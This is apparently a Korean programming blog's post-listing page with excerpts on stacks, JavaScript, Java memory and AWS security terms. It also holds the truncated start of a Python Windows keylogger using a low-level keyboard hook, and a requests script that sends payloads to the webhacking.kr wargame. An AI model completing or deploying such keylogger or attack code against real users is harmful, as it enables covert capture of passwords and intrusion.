1. Information Technology6 Algorithm 1. 정의 - LIFO(Last In First Out : 마지막에 입력된 자료가 제일 먼저 내보내짐) 형태의 자료구조 2. 특징 - 자료입력(push), 출력(pop) - 자료크기(size), 현재위치(ptr) 3. 시간복잡도 자료구조 비교 Data Structures Average Case Worst Case SearchInsert DeleteSearch InsertDelete Array O(n) N/A N/A O(n) N/A N/A Sorted Array O(log n) O(n) O(n) O(log n) O(n) O(n) Linked List O(n) O(1) O(1) O(n) O(1) O(1) Doubly Linked List O(n) O(1) O(1) O(n) O(1) O(1) Stack O(n.. 2021. 2. 18. 2. Python 키로거(Keylogger) import sys from ctypes import * from ctypes.wintypes import MSG from ctypes.wintypes import DWORD user32 = windll.user32 kernel32 = windll.kernel32 WH_KEYBOARD_LL = 13 WM_KEYDOWN = 0x0100 CTRL_CODE = 162 saveKey=[] class keyLogger: def __init__(self): self.lUser32 = user32 self.hooked = None def installHookProc(self, pointer): self.hooked = self.lUser32.SetWindowsHookExA( WH_KEYBOARD_LL, pointer.. 2020. 6. 9. 1. Javascript github.com/h232ch/javascript h232ch/javascript javascript basic. Contribute to h232ch/javascript development by creating an account on GitHub. github.com Javascript 문법의 기본 개념을 예제 코드로 작성 2020. 6. 9. 1. Java yaboong.github.io/java/2018/05/26/java-memory-management/ 자바 메모리 관리 - 스택 & 힙 개요 Java 에서 메모리 관리는 어떻게 이루어지는지 알아보기 위함. Stack 과 Heap 영역 각 역할에 대해 알아본다. 간단한 코드예제와 함께 실제 코드에서 어떻게 Stack 과 Heap 영역이 사용되는지 살펴 yaboong.github.io jeong-pro.tistory.com/148 JVM 구조와 자바 런타임 메모리 구조 (자바 애플리케이션이 실행될 때 JVM에서 일어나는 일, 과정�� JVM(Java Virtual Machine) : 자바 가상 머신으로 자바 바이트 코드를 실행할 수 있는 주체다. CPU나 운영체제(플랫폼)의 종류와 무관하게 실행이 가능하다.. 2020. 4. 13. 1. AWS 기본 용어 1. NACL / Security Group 차이점 - NACL : Subnet에 적용하는 접근통제 보안설정 - Security Group ; EC2에 적용하는 접근통제 보안설정 2. Inspector (보안 평가도구) : 에이전트형 보안평가도구 (Application 보안약점) 3. Certificate Manager AWS 무료 인증서 발행도구 : ACM은 AWS 자체 서버 인증서를 발행 - EC2에서 바로 이용은 불가능하며 ELB, CloudFront 등에 사용 4. AWS WAF 5. AWS Shiled : DDoS 대응 서비스 6. Trusted Advisor : Cost Optimization, Performance, Security, Fault Tolerance, Service Limits .. 2020. 1. 13. 1. Python 웹 크롤링 (로그인, 세션유지, 공격코드 요청_POST/GET) import requests s = requests.Session() proxyList = {'http':'127.0.0.1:8000', 'https':'127.0.0.1:8000'} def login(): url = 'https://webhacking.kr/login.php?login' login = {'id':'계정명', 'pw':'패스워드'} response = s.post(url, data=login, proxies=proxyList, verify=False) response.status_code print (response.text) def payload(): login(); TrustKey = "Secret" ; code='' for i in range(1,20): url = "https://.. 2019. 10. 30. 이전 1 다음